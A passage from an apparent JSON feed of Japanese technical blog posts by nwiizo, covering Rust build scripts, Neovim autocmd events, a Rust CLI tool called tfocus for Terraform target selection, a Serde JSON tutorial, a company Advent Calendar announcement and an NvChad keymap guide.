Ok(())}これらの例は、build.rsの実践的な使用方法を示しています。各例で以下のような利点があります。コンパイル時のリソース最適化開発時の利便性向上ランタイムパフォーマンスの改善コードの保守性向上実際のプロジェクトでは、これらの手法を組み合わせたり、プロジェクトの要件に合わせてカスタマイズしたりすることで、より効率的な開発環境を構築できます。しかし、魔環境もしくはビルド地獄を顕現させることもできるので注意が必要だと思いました。参考資料The Cargo Book - Build ScriptsRust By Example - Build Scriptsまとめこのビルドスクリプトの実装例を通じて、build.rsの有用性が明確になりました。コンパイル時のデータ最適化や複数ファイルの統合処理、動的なコード生成、そしてプラットフォーム固有の設定管理など、多岐にわたる機能を提供します。実際のプロジェクトでは、これらの機能を組み合わせることで、効率的な開発環境とビルドプロセスを実現できます。build.rsを活用することで、コンパイル時に必要なリソースの最適化や設定の自動化が可能となり、開発効率の向上とコードの保守性改善に大きく貢献します。","isoDate":"2024-12-03T05:31:49.000Z","dateMiliSeconds":1733203909000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"3-shake Advent Calendar 2024 やっていきます #3SHAKE","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/30/142710","contentSnippet":"こんにちは、nwiizoです。晩秋の肌寒さが身にしみるこの11月も今日で終わりですね。ついこの前、昨年のAdvent Calendarで記事埋めを依頼され、慌ただしく準備した記憶が鮮明です。まったく、時の流れとは不思議なものです。今年もスリーシェイクのAdvent Calendarを開催することができます。この企画が実現したのは、ひとえに社内の方々の温かいご協力の賜物であり、その事実に深い感謝の念を抱いております。qiita.comスリーシェイクは「インフラをシンプルにしてイノベーションを起こす」というビジョンのもと、クラウド、セキュリティ、データ連携、HR領域で4つのサービスを展開しているテクノロジーカンパニーです。3-shake.com先日、シリーズB追加ラウンドとしてNTTデータ、SCSKから10億円の資金調達を実施し、資本業務提携を締結するニュースが出るなど、着実に成長を続けています。prtimes.jp今年のAdvent Calendarでも、エンジニアの技術的な記事だけでなく、スリーシェイクで働く様々な職種のメンバーによる記事をお届けする予定です。エンジニア以外にも営業、カスタマーサクセス、広報、経営企画など、多様なバックグラウンドを持つメンバーたちが、それぞれの視点からスリーシェイクでの経験や日々の発見を共有していきます。なぜ技術的な記事に限定しないのか。それは、私たちが目指すイノベーションには、技術だけでなく、様々な専門性や視点が必要だと考えているからです。このAdvent Calendarを通じて、スリーシェイクがどのような会社で、どんな人たちが働いているのか、より深く知っていただければ幸いです。記事の更新情報は、スリーシェイクの公式Xアカウント(@3shake_Inc)でお知らせしていきますので、ぜひフォローをお願いします!また、Advent Calendarも合わせてチェックしていただければと思います。成長を続けるスリーシェイクの「今」を知るきっかけとして、どうぞお楽しみください!jobs-3-shake.com","isoDate":"2024-11-30T05:27:10.000Z","dateMiliSeconds":1732944430000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"メインテーマはKubernetes","link":"https://speakerdeck.com/nwiizo/meintemahakubernetes","contentSnippet":"2024年16:20-17:00(Track A)にて「メインテーマはKubernetes」というタイトルで登壇します。\r\rイベント名: Cloud Native Days Winter 2024\r\r公式URL:https://event.cloudnativedays.jp/cndw2024/\r\rセッションURL:https://event.cloudnativedays.jp/cndw2024/talks/2373","isoDate":"2024-11-28T05:00:00.000Z","dateMiliSeconds":1732770000000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Neovimのイベントタイミングガイド","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/27/023303","contentSnippet":"はじめにNeovimでの設定やプラグイン開発において、適切なタイミングでコードを実行することは非常に重要です。このガイドでは、Neovimの主要なイベントについて、実用的な例を交えながら解説します。1. 起動時のイベント系統Neovimの起動プロセスで最も重要なイベントはVimEnterです。これは全ての初期化処理(vimrcの読み込み、プラグインの初期化など)が完了した後に発火します:vim.api.nvim_create_autocmd(\"VimEnter\", { callback = function() -- プラグインの初期化 -- カラースキームの設定 -- ステータスラインの設定など end,})2. バッファ操作のイベント系統バッファの作成から読み込みまでの主要なイベント:BufNew: バッファ作成直後BufAdd: バッファリストへの追加時BufReadPre: ファイル読み込み前BufReadPost: ファイル読み込み後BufEnter: バッファアクティブ化時vim.api.nvim_create_autocmd(\"BufReadPost\", { pattern = \"*\", callback = function() -- ファイル読み込み後の処理 -- 最後のカーソル位置の復元など end,})3. 編集モードのイベント系統テキスト編集に関連する主要なイベント:InsertEnter: 挿入モード開始時TextChangedI: 挿入モードでテキスト変更時InsertLeave: 挿入モード終了時TextChanged: ノーマルモードでテキスト変更時vim.api.nvim_create_autocmd(\"InsertEnter\", { pattern = \"*\", callback = function() -- 挿入モード開始時の設定 -- 相対行番号の無効化など end,})4. ファイル保存のイベント系統ファイル保存時の処理フロー:BufWritePre: 保存前BufWrite: 保存処理中BufWritePost: 保存後vim.api.nvim_create_autocmd(\"BufWritePre\", { pattern = \"*\", callback = function() -- 保存前の自動整形 -- 末尾の空白除去など end,})5. 終了時のイベント系統Neovim終了時の処理順序:QuitPre: 終了コマンド実行時VimLeavePre: 終了処理開始前VimLeave: 最終終了処理時vim.api.nvim_create_autocmd(\"VimLeavePre\", { callback = function() -- セッション保存 -- 未保存バッファの保存など end,})実践的なサンプルコード以下は、よくある設定パターンの例です:-- ファイルタイプ別の設定vim.api.nvim_create_autocmd(\"FileType\", { pattern = {\"python\", \"lua\", \"rust\"}, callback = function() local settings = { python = { indent = 4, expandtab = true }, lua = { indent = 2, expandtab = true }, rust = { indent = 4, expandtab = true } } local ft = vim.bo.filetype if settings[ft] then vim.bo.shiftwidth = settings[ft].indent vim.bo.expandtab = settings[ft].expandtab end end,})-- 自動保存の設定vim.api.nvim_create_autocmd({\"InsertLeave\", \"TextChanged\"}, { pattern = \"*\", callback = function() if vim.bo.modified and vim.bo.buftype == \"\" then vim.cmd(\"silent! write\") end end,})-- 最後のカーソル位置を復元vim.api.nvim_create_autocmd(\"BufReadPost\", { pattern = \"*\", callback = function() local last_pos = vim.fn.line(\"'\\\"\") if last_pos > 0 and last_pos <= vim.fn.line(\"$\") then vim.cmd('normal! g`\"') end end,})注意点イベントは適切な順序で処理される必要があります重い処理は非同期で行うことを推奨しますパターンマッチングを活用して、必要なファイルタイプのみで実行するようにしますvim.schedule()を使用して、UIブロッキングを避けます参考文献Neovim オートコマンドドキュメントAutocmd | 5. eventsNeovim Lua API リファレンスnvim_create_autocmd())","isoDate":"2024-11-26T17:33:03.000Z","dateMiliSeconds":1732642383000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Rustでterraform plan/apply のターゲット指定を簡単にするツールを作ってみた - tfocusの仕組みと使い方","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/27/004309","contentSnippet":"1. はじめにこんにちは、nwiizoです。本記事では、Terraformで特定のリソースだけをplan/applyするためのインタラクティブCLIツール「tfocus」の設計と実装について、Rustの学習という観点も交えながら詳しく解説していきます。github.comまた、良さそうであればGithub Starsをいただきたいです。2. 背景と動機2.1 開発の契機大規模なTerraformコードベースでの作業において、様々な課題に直面することがあります。本番環境で特定リソースにトラブルが発生した際の調査や、開発中の変更を検証する場合、また大規模な変更を段階的に適用する必要がある場合などが典型的な例です。従来のTerraform CLIでも-targetオプションでリソースを指定できますが、正確なリソースパスを記述する必要があり、緊急時の運用には適していません。特に本番環境でのインシデント対応時には、迅速かつ正確なリソース指定が求められます。developer.hashicorp.com2.2 解決したい問題ツールの開発にあたり、複数の課題解決を目指しています。まずリソース選択を直感的に行えるようにすることで、運用者の負担を軽減します。同時に操作ミスを未然に防ぐ仕組みを導入し、安全性を確保します。また、緊急時にも迅速な対応ができるインターフェースを実現し、効率的なデバッグ作業を可能にすることで、運用効率の向上を図ります。3. 技術スタックの選定3.1 Rustを選んだ理由Rustを採用した理由は複数あります。まず、ゼロコスト抽象化による高いパフォーマンスを実現できることが挙げられます。また、強力な型システムと所有権モデルにより、メモリ安全性を確保できます。さらに、様々なOS向けにネイティブバイナリを生成できるクロスプラットフォーム対応も重要な選定理由となりました。豊富なクレートが利用可能な充実したエコシステムも、開発効率を高める要因となっています。最後に、純粋な学習目的として、小規模なツール開発を通じてRustの理解を深めることも目指しています。何かを引用するために書籍を貼ったが何を引用したいか忘れてしまった(がぎりぎりでこのブログを書いている為に調べることができない)。達人プログラマー ―熟達に向けたあなたの旅― 第2版作者:David Thomas,Andrew Huntオーム社Amazon3.2 主要な依存クレート[dependencies]walkdir = \"2.3\" # ファイルシステム走査regex = \"1.5\" # パターンマッチングclap = \"4.4\" # CLIパーサーthiserror = \"1.0\" # エラー型colored = \"2.0\" # カラー出力crossterm = \"0.27\" # TUIfuzzy-matcher = \"0.3\" # あいまい検索doc.rust-lang.org各クレートの選定理由:walkdir: 効率的な再帰的ファイル走査を提供regex: 高速で柔軟なパターンマッチングが可能clap: 型安全なCLI引数パーサーthiserror: エラー型の簡潔な定義crossterm: プラットフォーム独立なTUI実装fuzzy-matcher: 使いやすいあいまい検索機能4. 実装の詳細4.1 アーキテクチャ設計プロジェクトは機能ごとに明確に分離された以下のモジュール構成を採用しています:src/├── cli.rs # CLIインターフェース├── display.rs # 表示処理├── error.rs # エラー型├── executor.rs # Terraform実行├── input.rs # 入力処理├── main.rs # エントリーポイント├── project.rs # プロジェクト解析├── selector.rs # リソース選択UI└── types.rs # 共通型定義各モジュールの責務:cli.rs: コマンドライン引数の定義と解析#[derive(Parser)]#[command(author, version, about)]pub struct Cli { /// Terraformディレクトリのパス #[arg(short, long, default_value = \".\")] pub path: PathBuf, /// 実行する操作 #[arg(short, long)] pub operation: Option, /// 詳細出力の有効化 #[arg(short, long)] pub verbose: bool,}project.rs: Terraformファイルの解析impl TerraformProject { pub fn parse_directory(path: &Path) -> Result { let mut project = TerraformProject::new(); for file_path in Self::find_terraform_files(path)? { project.parse_file(&file_path)?; } Ok(project) } fn parse_file(&mut self, path: &Path) -> Result<()> { let content = fs::read_to_string(path)?; self.parse_resources(&content, path)?; self.parse_modules(&content, path)?; Ok(()) }}4.2 エラーハンドリング型安全なエラーハンドリングを実現するため、カスタムエラー型を定義:#[derive(Error, Debug)]pub enum TfocusError { #[error(\"IO error: {0}\")] Io(#[from] std::io::Error), #[error(\"Failed to parse terraform file: {0}\")] ParseError(String), #[error(\"Invalid target selection\")] InvalidTargetSelection, #[error(\"Terraform command failed: {0}\")] TerraformError(String), #[error(\"No terraform files found\")] NoTerraformFiles,}4.3 リソース選択UIの実装fuzzy検索を活用した効率的なリソース選択:impl Selector { fn filter_items(&mut self) { let query = self.query.to_lowercase(); let mut matches: Vec<(usize, i64)> = self .items .iter() .enumerate() .filter_map(|(index, item)| { self.matcher .fuzzy_match(&item.search_text.to_lowercase(), &query) .map(|score| (index, score)) }) .collect(); // スコアでソート matches.sort_by_key(|&(_, score)| -score); self.filtered_items = matches.into_iter() .map(|(index, _)| index) .collect(); } fn render_screen(&mut self) -> Result<()> { let mut stdout = stdout(); execute!( stdout, terminal::Clear(ClearType::All), cursor::MoveTo(0, 0) )?; self.render_search_box()?; self.render_items()?; self.render_status_line()?; stdout.flush()?; Ok(()) }}4.4 パフォーマンス最適化実行速度とメモリ使用量の最適化:[profile.release]opt-level = 3 # 最高レベルの最適化lto = true # リンク時最適化codegen-units = 1 # 単一コード生成ユニットstrip = true # バイナリサイズ削減5. Rustから学ぶシステム設計tfocusの実装を通じて学べるRustの重要概念プログラミングRust 第2版作者:Jim Blandy,Jason Orendorff,Leonora F. S. TindallオライリージャパンAmazon5.1 所有権とライフタイムリソースの効率的な管理:impl Resource { pub fn full_name(&self) -> String { if self.is_module { format!(\"module.{}\", self.name) } else { format!(\"{}.{}\", self.resource_type, self.name) } }}5.2 エラー伝播?演算子を使用した簡潔なエラーハンドリング:pub fn execute_terraform_command( operation: &Operation, target_options: &[String],) -> Result<()> { let mut command = Command::new(\"terraform\"); command.arg(operation.to_string()); for target in target_options { command.arg(target); } let status = command.spawn()?.wait()?; if status.success() { Ok(()) } else { Err(TfocusError::TerraformError( \"Command execution failed\".to_string() )) }}5.3 トレイトの活用共通インターフェースの定義:pub trait Display { fn render(&self) -> Result<()>; fn update(&mut self) -> Result<()>;}6. まとめ6.1 現在の成果このプロジェクトは現在、直感的なリソース選択UIを実現し、クロスプラットフォームでの利用を可能にしています。また、効率的なメモリ使用を実現するとともに、型安全なエラーハンドリングを導入することで、安定性の向上にも成功しています。6.2 今後の展開使われるようになったらやっていきたいこと。機能拡張の面では、依存関係の可視化機能を導入し、リソース状態をより詳細に表示できるようにしたいと考えています。さらに、バッチ処理のサポートを追加することで、大規模な処理にも対応できるようにしていきます。品質向上については、テストカバレッジを拡大し、システム全体のパフォーマンスを最適化していく予定です。また、エラーメッセージをより分かりやすく改善することで、ユーザー体験の向上を図ります。ドキュメント整備においては、API文書を充実させ、初心者向けのチュートリアルを作成していきます。さらに、実際の使用シーンを想定したユースケース集を整備することで、ユーザーの理解促進を支援していきたいと考えています。おわりにtfocusの開発を通じて、RustとTerraformの実践的な活用方法を示しました。このツールが皆様のインフラ運用の一助となれば幸いです。コードはGitHubで公開しています:nwiizo/tfocusフィードバックやコントリビューションをお待ちしています。","isoDate":"2024-11-26T15:43:09.000Z","dateMiliSeconds":1732635789000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"RustでJSONを扱いたいのでSerde入門します","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/26/141035","contentSnippet":"はじめにRustでデータのシリアライズ/デシリアライズを扱う際、最も広く使われているのがserdeクレートです。特にWeb APIやファイル入出力でよく使用されるJSONとの相互変換において、非常に重宝するツールです。今回は、serdeの基本的な使い方と、開発効率を上げるためのツールについて解説します。SerdeとはSerdeは\"Serialize\"と\"Deserialize\"を組み合わせた造語で、データ構造の変換を担当するRustのフレームワークです。多様なデータフォーマットに対応(JSON、YAML(アーカイブされている)、TOML等)高性能で型安全な実装カスタマイズ可能な属性システムコード生成による簡単な実装docs.rsプロジェクトのセットアップまず、Cargo.tomlに必要な依存関係を追加します。[dependencies]serde = { version = \"1.0\", features = [\"derive\"] }serde_json = \"1.0\"基本的な使い方1. 構造体の定義use serde::{Serialize, Deserialize};#[derive(Serialize, Deserialize, Debug)]struct User { name: String, age: u32, email: String, is_active: bool,}2. JSONからRustへの変換(デシリアライズ)fn main() { let json_str = r#\" { \"name\": \"John Doe\", \"age\": 30, \"email\": \"john@example.com\", \"is_active\": true } \"#; let user: User = serde_json::from_str(json_str).unwrap(); println!(\"Deserialized user: {:?}\", user);}3. RustからJSONへの変換(シリアライズ)fn main() { let user = User { name: \"Jane Doe\".to_string(), age: 25, email: \"jane@example.com\".to_string(), is_active: true, }; let json = serde_json::to_string_pretty(&user).unwrap(); println!(\"Serialized JSON:\\n{}\", json);}JSON to Rust ツールの活用開発効率を大幅に向上させるツールとして、「JSON to Rust」があります。このツールは、JSONデータからRustの構造体定義を自動生成してくれます。JSON to Rustの使い方https://jsonformatter.org/json-to-rust にアクセス左側のペインにJSONデータを貼り付け自動的に右側にRustの構造体定義が生成される例えば、以下のようなJSONデータがあった場合{ \"user_profile\": { \"id\": 123, \"username\": \"rust_lover\", \"settings\": { \"theme\": \"dark\", \"notifications\": true }, \"tags\": [\"rust\", \"programming\"] }}以下のようなRust構造体が生成されます。// Example code that deserializes and serializes the model.// extern crate serde;// #[macro_use]// extern crate serde_derive;// extern crate serde_json;//// use generated_module::[object Object];//// fn main() {// let json = r#\"{\"answer\": 42}\"#;// let model: [object Object] = serde_json::from_str(&json).unwrap();// }extern crate serde_derive;#[derive(Serialize, Deserialize)]pub struct Welcome3 { #[serde(rename = \"user_profile\")] user_profile: UserProfile,}#[derive(Serialize, Deserialize)]pub struct UserProfile { #[serde(rename = \"id\")] id: i64, #[serde(rename = \"username\")] username: String, #[serde(rename = \"settings\")] settings: Settings, #[serde(rename = \"tags\")] tags: Vec,}#[derive(Serialize, Deserialize)]pub struct Settings { #[serde(rename = \"theme\")] theme: String, #[serde(rename = \"notifications\")] notifications: bool,}高度な使い方カスタム属性の活用Serdeは様々な属性を提供して、シリアライズ/デシリアライズの挙動をカスタマイズできます。#[derive(Serialize, Deserialize, Debug)]struct Configuration { #[serde(rename = \"apiKey\")] api_key: String, #[serde(default)] timeout_seconds: u32, #[serde(skip_serializing_if = \"Option::is_none\")] optional_field: Option,}エラーハンドリング実際のアプリケーションでは、適切なエラーハンドリングが重要です。use serde::{Serialize, Deserialize};use std::error::Error;use std::fs;use std::io;use std::collections::HashMap;// ユーザーの基本構造体#[derive(Serialize, Deserialize, Debug)]struct User { id: u32, name: String, age: u32, email: String, is_active: bool, // オプショナルなフィールド #[serde(skip_serializing_if = \"Option::is_none\")] metadata: Option>,}// カスタムエラー型の定義#[derive(Debug)]enum UserError { ParseError(serde_json::Error), // JSONパースエラー ValidationError(String), // バリデーションエラー DatabaseError(String), // DB操作エラー IoError(io::Error), // ファイル操作エラー}// serde_json::ErrorからUserErrorへの変換を実装impl From for UserError { fn from(err: serde_json::Error) -> UserError { UserError::ParseError(err) }}// io::ErrorからUserErrorへの変換を実装impl From for UserError { fn from(err: io::Error) -> UserError { UserError::IoError(err) }}// std::error::Errorトレイトの実装impl std::fmt::Display for UserError { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { match self { UserError::ParseError(e) => write!(f, \"Parse error: {}\", e), UserError::ValidationError(msg) => write!(f, \"Validation error: {}\", msg), UserError::DatabaseError(msg) => write!(f, \"Database error: {}\", msg), UserError::IoError(e) => write!(f, \"IO error: {}\", e), } }}impl Error for UserError {}// Userの実装impl User { // バリデーションメソッド fn validate(&self) -> Result<(), UserError> { if self.name.is_empty() { return Err(UserError::ValidationError(\"Name cannot be empty\".to_string())); } if self.age > 150 { return Err(UserError::ValidationError(\"Invalid age\".to_string())); } if !self.email.contains('@') { return Err(UserError::ValidationError(\"Invalid email format\".to_string())); } Ok(()) }}// 基本的なJSONパース関数fn parse_user(json_str: &str) -> Result { // map_errを使用してエラーをログ出力 serde_json::from_str(json_str).map_err(|e| { println!(\"Error parsing JSON: {}\", e); e // 元のエラーを返す })}// より詳細なエラーハンドリングを行う関数fn process_user_data(json_str: &str) -> Result { // JSONのパース let user: User = serde_json::from_str(json_str)?; // ?演算子でエラーを伝播 // バリデーション user.validate()?; // ?演算子でエラーを伝播 Ok(user)}// 複数ユーザーからの検索(Option型との組み合わせ)fn find_user_by_id(json_str: &str, target_id: u32) -> Result, UserError> { // JSONから複数ユーザーをパース let users: Vec = serde_json::from_str(json_str)?; // 指定されたIDのユーザーを探す Ok(users.into_iter().find(|user| user.id == target_id))}// ファイル操作を含むエラーハンドリングfn load_user_from_file(path: &str) -> Result { // ファイルを読み込み let content = fs::read_to_string(path).map_err(|e| { eprintln!(\"Failed to read file {}: {}\", path, e); UserError::IoError(e) })?; // JSONをパースしてUserを返す process_user_data(&content)}// ファイルへの保存fn save_user_to_file(user: &User, path: &str) -> Result<(), UserError> { // UserをJSONに変換 let json = serde_json::to_string_pretty(user).map_err(|e| { eprintln!(\"Failed to serialize user: {}\", e); UserError::ParseError(e) })?; // ファイルに書き込み fs::write(path, json).map_err(|e| { eprintln!(\"Failed to write to file {}: {}\", path, e); UserError::IoError(e) })?; Ok(())}fn main() { // 1. 有効なJSONの例 let valid_json = r#\" { \"id\": 1, \"name\": \"John Doe\", \"age\": 30, \"email\": \"john@example.com\", \"is_active\": true, \"metadata\": { \"last_login\": \"2024-01-01\", \"location\": \"Tokyo\" } } \"#; // 2. 無効なJSONの例(バリデーションエラー) let invalid_json = r#\" { \"id\": 2, \"name\": \"\", \"age\": 200, \"email\": \"invalid-email\", \"is_active\": true } \"#; // 3. 複数ユーザーのJSONの例 let users_json = r#\"[ { \"id\": 1, \"name\": \"John Doe\", \"age\": 30, \"email\": \"john@example.com\", \"is_active\": true }, { \"id\": 2, \"name\": \"Jane Doe\", \"age\": 25, \"email\": \"jane@example.com\", \"is_active\": true } ]\"#; // 4. 各種エラーハンドリングの実演 println!(\"1. 基本的なパース:\"); match parse_user(valid_json) { Ok(user) => println!(\"成功: {:?}\", user), Err(e) => println!(\"エラー: {}\", e), } println!(\"\\n2. バリデーション付きパース:\"); match process_user_data(invalid_json) { Ok(user) => println!(\"成功: {:?}\", user), Err(e) => println!(\"エラー: {}\", e), } println!(\"\\n3. ユーザー検索:\"); match find_user_by_id(users_json, 1) { Ok(Some(user)) => println!(\"ユーザーが見つかりました: {:?}\", user), Ok(None) => println!(\"ユーザーが見つかりません\"), Err(e) => println!(\"エラー: {}\", e), } println!(\"\\n4. ファイル操作:\"); // 有効なユーザーをファイルに保存 if let Ok(user) = parse_user(valid_json) { match save_user_to_file(&user, \"user.json\") { Ok(()) => println!(\"ユーザーを保存しました\"), Err(e) => println!(\"保存エラー: {}\", e), } // 保存したファイルから読み込み match load_user_from_file(\"user.json\") { Ok(loaded_user) => println!(\"ロードしたユーザー: {:?}\", loaded_user), Err(e) => println!(\"ロードエラー: {}\", e), } }}ベストプラクティス型の使い分け必須フィールドは通常の型オプショナルフィールドはOption配列はVecを使用エラーハンドリングunwrap()は開発時のみ使用本番コードではResultを適切に処理カスタム属性の活用#[serde(rename)]でフィールド名の変換#[serde(default)]でデフォルト値の設定#[serde(skip_serializing_if)]で条件付きスキップまず、Cargo.tomlにchronoの依存関係を追加します。use chrono;use serde::{Deserialize, Serialize};use std::collections::HashMap;use std::error::Error as StdError;use std::fmt;use std::fs; // chronoクレートのインポート// ベストプラクティスに基づいた構造体の定義#[derive(Serialize, Deserialize, Debug)]struct UserProfile { // 1. 必須フィールド(通常の型) id: u64, username: String, email: String, // 2. オプショナルフィールド(Optionの使用) #[serde(skip_serializing_if = \"Option::is_none\")] phone_number: Option, #[serde(skip_serializing_if = \"Option::is_none\")] biography: Option, // 3. 配列(Vecの使用) #[serde(skip_serializing_if = \"Vec::is_empty\")] interests: Vec, // 4. カスタム属性の活用 // JSONでは\"lastLoginTime\"として表示 #[serde(rename = \"lastLoginTime\")] last_login_time: String, // デフォルト値の設定 #[serde(default)] is_active: bool, // 動的なキーバリューペア #[serde(default, skip_serializing_if = \"HashMap::is_empty\")] metadata: HashMap,}// カスタムエラー型の定義#[derive(Debug)]enum ProfileError { JsonError(serde_json::Error), ValidationError(String), IoError(std::io::Error),}// ProfileErrorにDisplayトレイトを実装impl fmt::Display for ProfileError { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { match self { ProfileError::JsonError(e) => write!(f, \"JSON error: {}\", e), ProfileError::ValidationError(e) => write!(f, \"Validation error: {}\", e), ProfileError::IoError(e) => write!(f, \"IO error: {}\", e), } }}// ProfileErrorにErrorトレイトを実装impl StdError for ProfileError { fn source(&self) -> Option<&(dyn StdError + 'static)> { match self { ProfileError::JsonError(e) => Some(e), ProfileError::ValidationError(_) => None, ProfileError::IoError(e) => Some(e), } }}// エラー変換の実装impl From for ProfileError { fn from(err: serde_json::Error) -> Self { ProfileError::JsonError(err) }}impl From for ProfileError { fn from(err: std::io::Error) -> Self { ProfileError::IoError(err) }}// UserProfileの実装impl UserProfile { // コンストラクタ fn new(id: u64, username: String, email: String) -> Self { UserProfile { id, username, email, phone_number: None, biography: None, interests: Vec::new(), last_login_time: chrono::Utc::now().to_rfc3339(), is_active: true, metadata: HashMap::new(), } } // バリデーション fn validate(&self) -> Result<(), ProfileError> { if self.username.is_empty() { return Err(ProfileError::ValidationError( \"Username cannot be empty\".to_string(), )); } if !self.email.contains('@') { return Err(ProfileError::ValidationError( \"Invalid email format\".to_string(), )); } Ok(()) } // メタデータの追加 fn add_metadata(&mut self, key: &str, value: &str) { self.metadata.insert(key.to_string(), value.to_string()); } // 興味・関心の追加 fn add_interest(&mut self, interest: &str) { self.interests.push(interest.to_string()); }}// プロファイル処理関数fn process_profile(json_str: &str) -> Result { // JSONからプロファイルを作成 let profile: UserProfile = serde_json::from_str(json_str)?; // バリデーション profile.validate()?; Ok(profile)}// ファイル操作を含むプロファイル保存fn save_profile(profile: &UserProfile, path: &str) -> Result<(), ProfileError> { // バリデーション profile.validate()?; // JSON文字列に変換(整形付き) let json = serde_json::to_string_pretty(profile)?; // ファイルに保存 fs::write(path, json)?; Ok(())}fn main() -> Result<(), Box> { // 1. プロファイルの作成 let mut profile = UserProfile::new(1, \"john_doe\".to_string(), \"john@example.com\".to_string()); // オプショナルフィールドの設定 profile.phone_number = Some(\"123-456-7890\".to_string()); profile.biography = Some(\"Tech enthusiast and developer\".to_string()); // 興味・関心の追加 profile.add_interest(\"Programming\"); profile.add_interest(\"Open Source\"); // メタデータの追加 profile.add_metadata(\"location\", \"Tokyo\"); profile.add_metadata(\"timezone\", \"UTC+9\"); // 2. JSONへの変換と保存 println!(\"保存するプロファイル:\"); println!(\"{:#?}\", profile); save_profile(&profile, \"profile.json\").map_err(|e| Box::new(e) as Box)?; println!(\"\\nプロファイルを保存しました\"); // 3. JSONからの読み込みとバリデーション let json_str = r#\"{ \"id\": 2, \"username\": \"jane_doe\", \"email\": \"jane@example.com\", \"phone_number\": \"098-765-4321\", \"biography\": \"Software Engineer\", \"interests\": [\"AI\", \"Machine Learning\"], \"lastLoginTime\": \"2024-01-01T00:00:00Z\", \"metadata\": { \"location\": \"Osaka\", \"language\": \"ja\" } }\"#; match process_profile(json_str) { Ok(loaded_profile) => { println!(\"\\n読み込んだプロファイル:\"); println!(\"{:#?}\", loaded_profile); } Err(e) => match e { ProfileError::JsonError(e) => println!(\"JSONエラー: {}\", e), ProfileError::ValidationError(e) => println!(\"バリデーションエラー: {}\", e), ProfileError::IoError(e) => println!(\"I/Oエラー: {}\", e), }, } // 4. 無効なデータの例 let invalid_json = r#\"{ \"id\": 3, \"username\": \"\", \"email\": \"invalid-email\" }\"#; match process_profile(invalid_json) { Ok(_) => println!(\"予期せぬ成功\"), Err(e) => match e { ProfileError::ValidationError(msg) => { println!(\"\\nバリデーションエラー(期待通り): {}\", msg) } _ => println!(\"予期せぬエラー\"), }, } Ok(())}まとめSerdeは、RustでJSONを扱う際の強力なツールです。JSON to Rustのようなツールと組み合わせることで、より効率的な開発が可能になります。基本的な使い方を押さえた上で、プロジェクトの要件に応じて高度な機能を活用していくことをお勧めします。参考リンクSerde公式ドキュメントJSON to Rust Converterserde_json クレートドキュメント","isoDate":"2024-11-26T05:10:35.000Z","dateMiliSeconds":1732597835000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"私の為のNvChadのキーマッピングガイド","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/24/171651","contentSnippet":"はじめに私は定期的に必要なことを忘れてしまう。子ども時代に水を口に入れて水の飲み方を忘れてしまったことがある。大切なことを今まで普通にできたことが急にできなくなることがある。学習もそう、定期的に復習して思い出すことが大切だと感じているが突然忘れてしまうことがある。突然忘れてしまうと探す必要があるが毎回探すのが面倒になってきたのでNvChadのキーマッピングをまとめてみた。基本的なショートカット表記 = Ctrlキー = スペースキー(デフォルト) = Altキー = Shiftキーよく使う機能とそのキーマッピング1. ファイル操作で必須のコマンド - 保存(これだけは絶対覚える。:w なんてやっているとvsCodeを使っている人にバカにされる) - ファイル全体をコピー(便利)fm - フォーマット(コードを整形してくれる)n - 行番号の表示/非表示rn - 相対行番号の切り替え2. 検索系(Telescope)検索系は本当によく使うので、最優先で覚えたいです。ff - ファイル検索(最重要)fw - プロジェクト内のテキスト検索(grep)fb - 開いているバッファを検索fo - 最近開いたファイルを検索fz - 現在のバッファ内をあいまい検索cm - Gitコミットを検索gt - Gitのステータスを表示github.com3. LSP関連(コードジャンプ・リファレンス)コードリーディングする時に本当に助かる機能たちです。gd - 定義へジャンプ(最も使う)gr - 参照を探す(変数やメソッドの使用箇所を探せる)K - ドキュメントを表示(カーソル位置の要素の説明を表示)gi - 実装へジャンプ(インターフェースから実装を探せる)ds - 診断情報をloclistに表示github.com4. 画面分割とウィンドウ移動複数のファイルを同時に見たい時に使います。 - 左のウィンドウへ - 右のウィンドウへ - 下のウィンドウへ - 上のウィンドウへ5. バッファ操作b - 新しいバッファを開く - 次のバッファへ - 前のバッファへx - バッファを閉じる6. ターミナル操作ターミナルは必要に応じて呼び出せます。 - フローティングターミナル(これが一番便利) - 水平分割のターミナル - 垂直分割のターミナル - ターミナルモードを抜ける7. その他の便利機能ch - チートシート表示(キーマッピングを忘れた時用)/ - コメントアウトのトグル - ファイルツリーの表示/非表示e - ファイルツリーにフォーカス - ハイライトをクリアなぜこれらのキーマッピングを覚える必要があるのか私の経験上、以下の機能は開発効率を大きく向上させてくれます。ファイル検索(Telescope)プロジェクト内のファイルを素早く見つけられるコードベースの把握が容易になるGit操作との連携で変更管理がしやすいLSP機能コードの定義や参照を素早く調べられるリファクタリングが楽になるコードの理解が深まるエラー診断が即座にわかるRust を書いていると 1 箇所書き換えると芋づる式に修正が発生するのでどうしても必要になる。ターミナル統合エディタを離れずにコマンドを実行できるgit操作やビルドが快適フローティング表示で作業の邪魔にならないバッファ管理複数ファイルの編集がスムーズ必要なファイルをすぐに切り替えられるなぜNvChadを選んだのか実は、私のエディタ遍歴は長い。最初はVimから始まり、その後SpaceVim、AstroNvim、LunarVimなど、様々なNeovim系のディストリビューションを試してきた。VSCodeやIntelliJ 